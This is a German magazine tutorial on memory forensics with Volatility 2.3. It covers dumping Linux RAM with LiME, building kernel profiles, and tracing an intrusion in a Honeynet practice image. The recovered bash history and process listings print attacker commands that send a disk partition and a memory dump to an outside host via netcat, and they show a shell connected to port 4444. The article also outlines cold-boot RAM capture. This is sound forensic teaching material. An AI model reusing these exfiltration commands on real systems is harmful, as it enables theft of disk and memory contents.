© spleen87, photocase.com

Spurensuche im RAM, das ist die Domäne von Volatility. Das Forensiker-Werkzeug hilft Admins dabei, zu analysieren, was auf einem System schiefgelaufen ist. Für Rückschlüsse auf Malware, laufende oder gar kompromittierte Dienste reicht ihm meist ein Abbild des Arbeitsspeichers.

Dass Informationen aus dem Arbeitsspeicher eines Rechners auch nach dem Unterbrechen der Stromversorgung noch einige Zeit erhalten bleiben, ist ein offenes Geheimnis [1]. Einfacher noch liegt der Fall beim Betätigen des Reset-Buttons, weil bei diesem ja die Spannung nicht einmal unterbricht. Wer dann beim Reboot ein minimales Betriebssystem – etwa per USB-Stick – heranzieht, dem stehen große Teile des Arbeitsspeichers noch unverändert zur Verfügung, fast so, als hätte er Vollzugriff auf das vorher laufende System.

Strings und Grep

Jetzt ließe sich schon mit Linux-Bordmitteln wie Strings und Grep einiges herausfinden, doch mit einem ausgewachsenen Memory-Dump-Analyzer wie Volatility [2] geht noch viel mehr – und das Open-Source-Projekt entwickelt sich kontinuierlich weiter.

Als sich das Linux-Magazin zuletzt 2008 dem Memory-Analyzer widmete, konnte das Framework nur RAM-Abbilder von Windows-Maschinen analysieren [3], als PDF auf der DELUG-DVD). Seit Version 2.2 beherrscht es aber auch Linux, ab der anstehenden 2.3 sind auch Apple-Geräte und Androiden zur Auswertung freigegeben. Doch vor allem Linux-Admins dürfen sich über eine große Anzahl neuer Tools und Programme freuen, die viele Informationen aus vermeintlich toten – oder auch fremden – Maschinen extrahieren können.

Volatility erweist sich primär für jene als nützlich, die herausfinden wollen oder schlimmstenfalls müssen, was ein Rechner getan hat, als beispielsweise die Festplatte einen Totalschaden hatte oder ein gerissener Einbrecher seine Spuren zwar nicht auf der Disk, doch vielleicht im laufenden System hinterlassen hat.

Üben für den Ernstfall

Tools wie Lime [4] helfen solch ein Abbild aus einem laufenden System anzufertigen, ehe vielleicht ein Reboot oder schon das Herunterfahren oder Anhalten der Maschine die Spuren verwischt. Für Admins, die den Umgang mit Volatility lernen, haben die Projektmitglieder jede Menge Memory Dumps [5] zu Übungszwecken zur Verfügung gestellt, wer eigene Images erstellen will, kann das auch mit einem USB-Stick.

Wer die im Folgenden beschriebenen Schritte in Eigenregie nachvollziehen will, braucht nur drei Sachen: eine Installation einer aktuellen Volatility-Version, einen heruntergeladenen Übungsdump und ein zu seinem Linux-Kernel passendes Profil. Die Beispiele in diesem Artikel beziehen sich auf Ubuntu 13.04 (die 64-Bit-Variante). Wer dagegen ein eigenes, real existierendes System unter die Lupe nehmen will, muss mit Tools wie Lime einen eigenen, individuellen Speicherabzug erstellen.

Memory Dumps erstellen

Einen solchen Memory Dump für Windows-Betriebssysteme zu generieren ist einfach. Meist kommen dafür Produkte wie die Helix-CD [6] zum Einsatz, die dafür diverse Programme mitbringen. Einen Memory Dump für Linux anzufertigen ist dagegen bedeutend aufwändiger: Für jede Kernelversion muss der Admin einen passenden Treiber selbst erstellen – beispielsweise auf einem identischen, virtualisierten System.

Mit Empfehlung: Lime

Volatility empfiehlt Lime (als ».tgz« -Datei auf [7]) zu benutzen, auch in den Tests der Autoren des Linux-Magazins arbeitete die Toolsammlung gut. Zuerst legt der Anwender ein neues Verzeichnis an und entpackt dort die Datei »lime-forensics-1.1-r17.tar.gz« . Nach dem Make-Aufruf findet er das Modul »lime-3.2.0-49-generic.ko« . Die entsprechende Kernelversion lässt sich hier bereits am Dateinamen erkennen.

Auf der DELUG-DVD findet der Leser über 50 von den Autoren bereitgestellte Module für zahlreiche Kernelvarianten, die sich schnell auf ein Testsystem übertragen lassen.

Insmod

Den Treiber lädt »insmod« , sodass der folgende Befehl einen Memory Dump in »/tmp/ubuntu1204.dump« erzeugt:

insmod lime-3.2.0-49-generic.ko"path=/tmp/ubuntu1204.dump format=lime"

Wer Volatility bereits installiert hat, kann den Speicherabzug jetzt überprüfen:

vol.py -f ubuntu1204.dump --profile=LinuxUbuntu1204_3_2_0_49x64 linux_ifconfig

Im Beispiel nutzt der Anwender einen der weiter unten in diesem Artikel beschriebenen Volatility-Befehle, hier »linux_ifconfig« , der die zuletzt benutzten IPs und NICs auflistet. Das Ergebnis sollte Zeilen wie die folgenden enthalten:

Interface IP MAC Promiscous Mode
lo 127.0.0.1 00:00:00:00:00:00 False
eth0 192.168.2.2 00:00:00:00:00:00 False
sit0 0.0.0.0 00:00:00:00:00:00 Falseme"

Fehlerhafte Ausgaben wie »No suitable address space mapping found« oder Fehler bei dem Versuch, das Abbild zu öffnen, weisen auf ein defektes Image oder eine falsche Profildatei hin. Dann hilft es vielleicht, nach Alternativen zu suchen, die es für Linux durchaus gibt.

Fmem, Coldboot und Msramdump

Fmem [8] beispielsweise ersetzt die noch unter Kernel 2.4 übliche Methode, mit »dd« und »/dev/mem« oder »/dev/kmem« Memory Dumps anzufertigen. Optimale Zusammenarbeit mit Volatility erreicht jedoch nur Lime.

Eine recht interessante Alternativmethode bietet ein Coldboot-Angriff, den Wissenschaftler der Princeton-Universität beschreiben [1]. Der McGrew-Security-RAM-Dumper Msramdump [9] nutzt die genannten Eigenschaften in Form eines bootfähigen USB-Sticks. Der enthält eine FAT-16-Partition, die per Syslinux bootet und automatisch einen Memory Dump zieht. Groß genug sollte der Stick allerdings sein, denn auf dem Datenträger landet auch noch eine zweite Partition, in die Msramdump standardmäßig die RAM-Abbilder schreibt.

Eigenen USB-Stick basteln oder Image ziehen?

Wer sich einen Coldboot-Stick – wie unter [9] beschrieben – nicht selbst basteln möchte, findet auch dafür ein Image auf der Heft-DVD. Eine Zusammenarbeit mit Volatility darf da allerdings niemand erwarten, doch immerhin funktioniert auch hier die traditionelle Auswertung mit Unix-Tools wie Strings und Grep. Ansonsten hilft nur Lime wirklich weiter.

Volatility installieren

Weil Volatility offiziell immer noch im Betastadium steckt, muss der Admin zu Quellcode und Subversion greifen. Mit

svn checkout http://volatility.googlecode.com/svn/trunk Volatility

installiert er das Framework aus dem Sourcecode-Repository. Möglich ist bereits hier, die Installation um zusätzliche Plugins anzureichern, Details bietet die Projektseite [10] unter dem Stichwort “Full Installation”.

Ein erster Test erfolgt mit »./vol.py -h« . Die Meldung sollte die aktuelle Version 2.3 Beta bestätigen:

Volatile Systems Volatility Framework2.3_beta

»./vol.py –info« liefert erdrückend viele Informationen und ist sinnvollerweise vom Admin durch Grep-Befehle zu reduzieren (Listing 1). »vol.py –info | grep Win« gibt Auskunft über die Windows-Unterstützung, die die Entwickler seit dem Linux-Magazin-Artikel 2008 ebenfalls stark erweitert haben.

01 Volatile Systems Volatility Framework 2.3_beta
02 VistaSP0x64                 - A Profile for Windows Vista SP0 x64
03 VistaSP0x86                 - A Profile for Windows Vista SP0 x86
04 VistaSP1x64                 - A Profile for Windows Vista SP1 x64
05 VistaSP1x86                 - A Profile for Windows Vista SP1 x86
06 VistaSP2x64                 - A Profile for Windows Vista SP2 x64
07 VistaSP2x86                 - A Profile for Windows Vista SP2 x86
08 Win2003SP0x86               - A Profile for Windows 2003 SP0 x86
09 Win2003SP1x64               - A Profile for Windows 2003 SP1 x64
10 Win2003SP1x86               - A Profile for Windows 2003 SP1 x86
11 Win2003SP2x64               - A Profile for Windows 2003 SP2 x64
12 Win2003SP2x86               - A Profile for Windows 2003 SP2 x86
13 Win2008R2SP0x64             - A Profile for Windows 2008 R2 SP0 x64
14 Win2008R2SP1x64             - A Profile for Windows 2008 R2 SP1 x64
15 Win2008SP1x64               - A Profile for Windows 2008 SP1 x64
16 Win2008SP1x86              - A Profile for Windows 2008 SP1 x86
17 Win2008SP2x64              - A Profile for Windows 2008 SP2 x64
18 Win2008SP2x86              - A Profile for Windows 2008 SP2 x86
19 Win7SP0x64                 - A Profile for Windows 7 SP0 x64
20 Win7SP0x86                 - A Profile for Windows 7 SP0 x86
21 Win7SP1x64                 - A Profile for Windows 7 SP1 x64
22 Win7SP1x86                 - A Profile for Windows 7 SP1 x86
23 WinXPSP1x64                - A Profile for Windows XP SP1 x64
24 WinXPSP2x64                - A Profile for Windows XP SP2 x64
25 WinXPSP2x86                - A Profile for Windows XP SP2 x86
26 WinXPSP3x86                - A Profile for Windows XP SP3 x86
27 WindowsCrashDumpSpace32    - This AS supports windows Crash Dump format
28 WindowsCrashDumpSpace64    - This AS supports windows Crash Dump format
29 WindowsHiberFileSpace32    - This is a hibernate address space for windows hibernation files.

Listing 2 zeigt die Linux-Module, doch Anwender, die folgende Beispiele in Eigenregie nachvollziehen, erleben gleich eine herbe Enttäuschung: Die meisten gelieferten Informationen sind nur wenig hilfreich. Während Volatility eine Vielzahl von Windows-Profilen mitbringt, fehlen solche für Linux komplett, der Anwender muss sie selbst erstellen. Das ist zwar kein Hexenwerk, es gilt allerdings zu bedenken, dass ein Profil nur für eine Kernel-Version oder -Architektur funktioniert. Selbst die Distribution spielt eine Rolle: Ein Profil mit Kernel 3.2.x von Debian passt auch nicht zu einem Kernel 3.2.x von Ubuntu.

01 Volatile Systems Volatility Framework 2.3_beta
02 LinuxDebian5_26x86          - A Profile for Linux Debian5_26 x86
03 LinuxEvo4GARM               - A Profile for Linux Evo4G ARM
04 LinuxUbuntu1204_3_2_0_23x64 - A Profile for Linux Ubuntu1204_3_2_0_23 x64
05 LinuxUbuntu1204_3_2_0_32x64 - A Profile for Linux Ubuntu1204_3_2_0_32 x64
06 LinuxUbuntu1204x64          - A Profile for Linux Ubuntu1204 x64
07 LinuxUbuntu1304_3_8_0_25x64 - A Profile for Linux Ubuntu1304_3_8_0_25 x64
08 Linuxdfrws-profilex86       - A Profile for Linux dfrws-profile x86
09 linux_yarascan              - A shell in the Linux memory image

Als dieser Artikel entstand, hatte beispielsweise Ubuntu 12.04 LTS bereits 24 Kernelversionen ausgeliefert. Da hat die Linux-Vielfalt auch mal einige Nachteile. Damit wird klar, warum professionelle Volatility-Anwender virtuelle Systeme mit einer Vielzahl von Kernelversionen bereithalten, um im Einsatzfall schnell ein Profil parat zu haben. Ein guter Anfang ist das Paket auf der DELUG-DVD.

Liegt lediglich ein Memory-Dump vor, ohne dass die entsprechende Kernelversion bekannt ist, so reicht ein Strings-Befehl im Dump mit einem Grep nach dem Begriff »vmlinuz« . Schnell ist die passende Kernelversion gefunden, in einem virtuellen System erstellt der Anwender dann das Profil.

Debugging-Profile und -Standards für Zwerge

Ein Profil besteht aus den beiden Dateien »System.map-Kernelversion« und »modules.dwarf« . Während die erste meist schon im »/boot« -Verzeichnis vorliegt, muss der Admin die zweite selbst erzeugen. Dazu benutzt er das Programm »dwarfdump« aus gängigen Repositories. Mehr Informationen über das Dwarf-Debugging-File-Format beziehungsweise den Dwarf-Debugging-Standard Dwarfstd gibt dessen Webseite [11].

Im Verzeichnis »volatility/tools/linux« finden sich alle Dateien, um »modules.dwarf« zu erstellen. Ein Aufruf von Make in diesem Verzeichnis erzeugt die Datei, die der Admin zusammen mit der System-Map aus dem laufenden System nun per Zip komprimiert:

zip Ubuntu1304_3_8_0_26.zip modules.dwarf/boot/System.map-3.8.0-26-generic

Der Name des Zip-File spielt hier keine Rolle, eine passende Benennung hilft aber bei späteren Arbeitsschritten bei der Auswahl des Profils. Damit Volatility das Zip-File bei der Profilauswahl erkennt, kopiert der Admin es nach »volatility/plugins/overlays/linux« . Ab sofort sollte »./vol.py –info | grep Linux« auch das gewünschte, neu erstellte Profil anzeigen.

Dumps

Der im Folgenden verwendete infizierte Memory Dump stammt aus dem Honeynet-2001-Projekt [12]. Das Image selbst ist ebenfalls als Download verfügbar und hört auf den Namen »victoria-v8.memdump.img.zip« . Die Wahrscheinlichkeit, dass so ein Image auf Übungsrechnern ganz einfach mit Volatilitys Kernelmodulen funktioniert, ist nach den beschriebenen Anforderungen recht gering. Deshalb analysiert das folgende Beispiel das Image, um mehr Informationen über den eingesetzten Kernel zu erhalten (Listing 3), und findet den recht betagten Debian-Kernel 2.6.26-2.

01 # strings victoria-v8.memdump.img | grep vmlinuz
02 # kernel        /vmlinuz root=/dev/hda2 ro
03 kernel          /boot/vmlinuz-2.6.26-2-686 root=/dev/sda1 ro
04 kernel          /boot/vmlinuz-2.6.26-2-686 root=/dev/sda1 ro single
05 kernel          /vmlinuz root=/dev/hdb1
06 # kernel        /vmlinuz root=/dev/hda2 ro
07 kernel          /boot/vmlinuz-2.6.26-2-686 root=/dev/sda1 ro quiet
08 kernel          /boot/vmlinuz-2.6.26-2-686 root=/dev/sda1 ro single
09
10 # strings victoria-v8.memdump.img | grep 2.6.26-2-686 | grep -i title
11 title         Debian GNU/Linux, kernel 2.6.26-2-686
12 title         Debian GNU/Linux, kernel 2.6.26-2-686 (single-user mode)
13 title         Debian GNU/Linux, kernel 2.6.26-2-686
14 title         Debian GNU/Linux, kernel 2.6.26-2-686 (single-user mode)

Ein virtuelles Debian mit Kernel 2.6.26-2-686 installieren, um mit den zuvor genannten Schritten eine Profildatei zu erstellen, wäre jetzt die nächste Aufgabe. DELUG-Leser sparen sich die Arbeit und greifen direkt auf die passende Profildatei auf der Heft-DVD zu. Wie oben beschrieben, landet das File im Verzeichnis »volatility/plugins/overlays/linux« .

Testen

Ob alles funktioniert, lässt sich mit einem einfachen Befehl überprüfen, der Auskunft über die installierte CPU des kompromittierten Systems gibt (Listing 4). Für eine Information, die aus dem Memory Dump eines Systems stammt, von dem weder die Hardware noch die Festplatte vorliegt, ist das ein recht beachtliches Ergebnis. »-f« übergibt dabei den Namen des Memory Dump an Volatility, »–profile LinuxDebian5_26x86« legt die passende Profildatei fest und »linux_cpuinfo« ist der eigentliche Befehl.

01 #vol.py -f victoria-v8.memdump.img --profile LinuxDebian5_26x86 linux_cpuinfo
02
03 Volatile Systems Volatility Framework 2.3_beta
04 Processor      Vendor   Model
05 ------------   -------  -----
06 0 GenuineIntel Intel(R) Core(TM)2 CPU T7200 @ 2.00GHz

Um die etwas lang geratenen Kommandozeilen für die anstehenden Arbeiten zu vereinfachen, stellt Volatility Exportvariablen bereit:

export VOLATILITY_PROFILE=LinuxDebian5_26x86
export VOLATILITY_LOCATION=file:///tmp/victoria-v8.memdump.img

So bleibt die Kommandozeile übersichtlich und kurz: »./vol.py linux_cpuinfo« . Alle Linux-spezifischen Befehle beginnen mit »linux_« , Grep-Kommandos liefern über Pipes weitere Aufschlüsse (Abbildung 1). Listing 5 bietet eine Auswahl der interessantesten Kommandos von Mounts über Netzwerkbefehle bis hin zu offenen Ports und Bash-History.

01 # vol.py linux_mount
02 Volatile Systems Volatility Framework 2.3_beta
03 [...]
04 sysfs        rw,nosuid,nodev,noexec
05 udev         /dev             tmpfs  rw
06 tmpfs        /lib/init/rw     tmpfs  rw,nosuid
07 /dev/sda1    /                ext3   rw  none
08 /proc        proc                    rw,nosuid,nodev,noexec
09 devpts       /dev/pts         devpts rw,nosuid,noexec
10 usbfs        /proc/bus/usb    usbfs  rw,nosuid,nodev,noexec
11 tmpfs        /dev/shm         tmpfs  rw,nosuid,nodev
12 [...]
13 # vol.py linux_arp
14 Volatile Systems Volatility Framework 2.3_beta
15 [::                     ] at 00:00:00:00:00:00    on lo
16 [192.168.56.1           ] at 0a:00:27:00:00:00    on eth0
17 [192.168.56.101         ] at 08:00:27:28:5a:cc    on eth0
18
19 # vol.py linux_netstat
20 Volatile Systems Volatility Framework 2.3_beta
21 UDP      0.0.0.0:111   0.0.0.0:0                portmap/1429
22 TCP      0.0.0.0:111   0.0.0.0:0     LISTEN     portmap/1429
23 UDP      0.0.0.0:769   0.0.0.0:0                rpc.statd/1441
24 UDP      0.0.0.0:38921 0.0.0.0:0                rpc.statd/1441
25 TCP      0.0.0.0:39296 0.0.0.0:0     LISTEN     rpc.statd/1441
26 UDP      0.0.0.0:68    0.0.0.0:0                dhclient3/1624
27 UNIX /dev/log
28 UNIX /var/run/acpid.socket
29 TCP      :::22    :::0     LISTEN                            sshd/1687
30 TCP      0.0.0.0:22    0.0.0.0:0     LISTEN                  sshd/1687
31 TCP      :::25    :::0     LISTEN                           exim4/1942
32 TCP      0.0.0.0:25    0.0.0.0:0     LISTEN                 exim4/1942
33 TCP      192.168.56.102:43327 192.168.56.1:4444  ESTABLISHED   sh/2065
34 TCP      192.168.56.102:43327 192.168.56.1:4444  ESTABLISHED   sh/2065
35 TCP      192.168.56.102:43327 192.168.56.1:4444  ESTABLISHED   sh/2065
36 TCP      192.168.56.102:25    192.168.56.101:37202 CLOSE       sh/2065
37 TCP      192.168.56.102:25    192.168.56.101:37202 CLOSE       sh/2065
38 TCP      192.168.56.102:56955 192.168.56.1:8888  ESTABLISHED   nc/2169
39
40 # vol.py linux_psaux | egrep  '(2065|2169)'
41 Volatile Systems Volatility Framework 2.3_beta
42 2065   0      0      sh    2169   0      0      nc 192.168.56.1 8888
43
44 # vol.py  linux_bash
45 Volatile Systems Volatility Framework 2.3_beta
46 Pid      Name                 Command Time                   Command
47 -------- -------------------- ------------------------------ -------
48 2042 bash  2011-02-06 14:04:39 UTC+0000   apt-get remove exim4
49 [...]
50 2042 bash  2011-02-06 14:04:39 UTC+0000   scp yom@192.168.56.1:/home/yom/temporary/exmi4/* .
51 [...]
52 2042 bash  2011-02-06 14:04:39 UTC+0000   vi update-exim4.conf.conf
53 2042 bash  2011-02-06 14:04:39 UTC+0000   update-exim4.conf
54 2042 bash  2011-02-06 14:04:39 UTC+0000   halt
55 2042 bash  2011-02-06 14:04:39 UTC+0000   reboot
56 2042 bash  2011-02-06 14:04:39 UTC+0000   whereis gcc
57 2042 bash  2011-02-06 14:04:39 UTC+0000   whereis memdump
58 2042 bash  2011-02-06 14:04:39 UTC+0000   apt-get install memdump
59 2042 bash  2011-02-06 14:04:39 UTC+0000   halt
60 2042 bash  2011-02-06 14:04:39 UTC+0000   ifconfig
61 2042 bash  2011-02-06 14:04:39 UTC+0000   ping 192.168.56.1
62 2042 bash  2011-02-06 14:04:39 UTC+0000   mount
63 2042 bash  2011-02-06 14:04:39 UTC+0000   sudo dd if=/dev/sda | nc 192.168.56.1 4444
64 [...]
65 2042 bash  2011-02-06 14:04:39 UTC+0000   apt-get install memdump
66 2042 bash  2011-02-06 14:04:39 UTC+0000   netstat  -ant
67 2042 bash  2011-02-06 14:04:39 UTC+0000   apt-get install ddrescue
68 2042 bash  2011-02-06 14:04:39 UTC+0000   apt-get install dcfldd
69 2042 bash  2011-02-06 14:04:39 UTC+0000   ls /dev/kmem
70 2042 bash  2011-02-06 14:04:39 UTC+0000   ls /dev/mem
71 2042 bash  2011-02-06 14:04:39 UTC+0000   halt
72 2042 bash  2011-02-06 14:04:39 UTC+0000   ifconfig
73 2042 bash  2011-02-06 14:04:39 UTC+0000   ifconfig
74 2042 bash  2011-02-06 14:04:39 UTC+0000   reboot
75 2042 bash  2011-02-06 14:04:46 UTC+0000   ifconfig
76 2042 bash  2011-02-06 14:24:43 UTC+0000   dd if=/dev/sda1 | nc 192.168.56.1 8888
77 2042 bash  2011-02-06 14:42:29 UTC+0000   memdump | nc 192.168.56.1 8888

Abbildung 1: Ein Grep nach »Linux« zeigt Profile, ein Grep auf »linux« listet die Volatility-Befehle.

Ein fremder Exim-Server und Netcat-Verbindungen

Wie Listing 5 und Abbildung 2 zeigen, hat im Demo-System ein lokaler Angreifer die installierte Exim4-Version deinstalliert und gegen eine andere ausgetauscht, die nicht aus dem Repository stammt. Die gefundene Netcat-Verbindung hat er wohl benutzt, um die Partition »/dev/sda1« und den Inhalt des Arbeitsspeichers zu übertragen.

Abbildung 2: Das Volatility-Tool Yarascan hat eine gespawnte Shell gefunden, über die ein Angreifer offensichtlich Daten übertragen hat.

Jetzt wären die Logfiles des Mailservers für die weitere Auswertung aussagekräftig. Doch leider ließen sich die nicht aus dem Arbeitsspeicher rekonstruieren. Beim Honeynet-2011-Fall liegt aber zusätzlich zum Memory Dump auch die Festplatte des kompromittierten Systems vor, beispielsweise mit der Bash-History. Doch dass der interessierte Angreifer über Wget Schadsoftware eingeschleust hat, lässt sich auch aus dem Memory Dump erkennen – schon mit Unix-Standardtools: Verdächtige Einträge wie »wget« , »tar.gz« oder »tgz« sucht der Strings-Befehl:

strings -td victoria-v8.memdump.img | egrep '(\.tar|\.tgz|.\tar\.gz)'

Das liefert recht viele Treffer, darunter auch »rk.tar« am Offset »4« (Listing 6). In dessen Umkreis finden sich meist noch mehr spannende Fakten. Seltsamerweise ist dies hier nicht der Fall. Wer das physische Dateisystem greifbar hat, kann die Dateien rund um »rk.tar« inspizieren.

01 # strings -td victoria-v8.memdump.img| awk '$1>253507000 && $1 < 253509999 {print}'
02 253507096 sshd
03 253507231 info
04 253507363 5Tj-0000Ym-DX-D
05 253507493 Pm5SK-0000Yf-0U-D
06 253507628 Mq-0000XR-N4-D
07 253507889 om_adj
08 253508020 hosts.deny
09 253508152 alternatives
10 253508216 @f37
11 253508284 hosts.allow
12 253508551 _adj
13 253508683 5Rz-0000Xt-U0-D
14 253508944 rk.tar
15 253509208 exim
16 253509340 exim
17 253509472 input

Dateien über den Tmp-FS-Cache rekonstruieren

Auch der Befehl »linux_mount« kann erhellende Informationen liefern, die jetzt zum Tragen kommen, etwa ob das System das heute selbstverständliche Tmp-FS benutzt hat. Das temporäre Dateisystem hält fast immer eine Kopie des Dateisystems als Cache im RAM vor.

Mit etwas Glück lassen sich so Dateien, in diesem Beispiel »rk.tar« , aus dem Arbeitsspeicher rekonstruieren. Genau dafür liefert Volatility den Befehl »linux_dentry_cache« :

vol.py  linux_dentry_cache > bodyfile

Die Ausgabedatei liegt, wie der verwendete Name bereits vermuten lässt, im forensischen Bodyfile-Format vor. Mactime, ein Programm aus dem Sleuthkit [13], hilft und wandelt sie in ein lesbares Format um (Listing 7).

01 # mactime -b bodyfile > bodyfile.mac
02 # cat bodyfile.mac
03 [...]
04 Sun Feb 11 2080 08:21:56  4421289 .a.. 0 101      103      39467    tmp/rk.tar
05 Sun Feb 11 2080 08:22:04  4421289 m... 0 101      103      39467    tmp/rk.tar
06 Sun Feb 11 2080 08:22:12  4421289 ...b 0 101      103      39467    tmp/rk.tar

Fehlerhafte Implementierung

Aber leider weist das rekonstruierte Bodyfile-Format immer noch einen Fehler bei der Wiederherstellung des Datums auf – der 11. Februar 2080 wird wohl nicht das Erstellungsdatum gewesen sein. Die Datei ist als Beweismittel daher mit Vorsicht zu genießen. Die Entwickler sind hierüber bereits informiert, doch die Rekonstruktion von »rk.tar« bleibt damit derzeit erfolglos, zumindest für den, der das Dateisystem nicht hat.

Immerhin lässt sich als Proof-of-Concept die Datei »/etc/passwd« wiederherstellen:

vol.py  linux_find_file -F "/etc/passwd"
Volatile Systems Volatility Framework 2.3_beta
Inode Number          Inode
---------------- ----------
           48355 0xcf033e48

Der virtuelle Inode im gecachten System liegt also bei 0xcf033e48. Nach dem Aufruf von »vol.py linux_find_file -i 0xcf033e48 -O /tmp/passwd« liegt eine Kopie der rekonstruierten Passwd-Datei im Verzeichnis »/tmp« .

Fazit

Für die neueste Version von Volatility haben die Entwickler viel geleistet. Neue Linux-Befehle erweitern den Befehlsumfang gewaltig. Verglichen mit den bisherigen Methoden der Memory-Auswertung, die sich meist auf Strings-Befehle beschränken musste, erscheinen die neuen Tools wie ein Quantensprung, der in der Version 2.3 ja auch auf Android und I-OS kommen soll. Wermutstropfen bleibt die Profilerstellung. Die zeitaufwändige Prozedur ist aber nicht Volatility anzulasten, hier wären eher Distributionshersteller in der Pflicht.

Der Autor

Hans-Peter Merkel ist mit dem Schwerpunkt Datenforensik seit vielen Jahren in der Open-Source-Community aktiv. Er bildet Mitarbeiter von Strafverfolgungsbehörden in Europa, Asien und Afrika aus und engagiert sich als Gründer und Vorsitzender bei Freioss und Linux4afrika.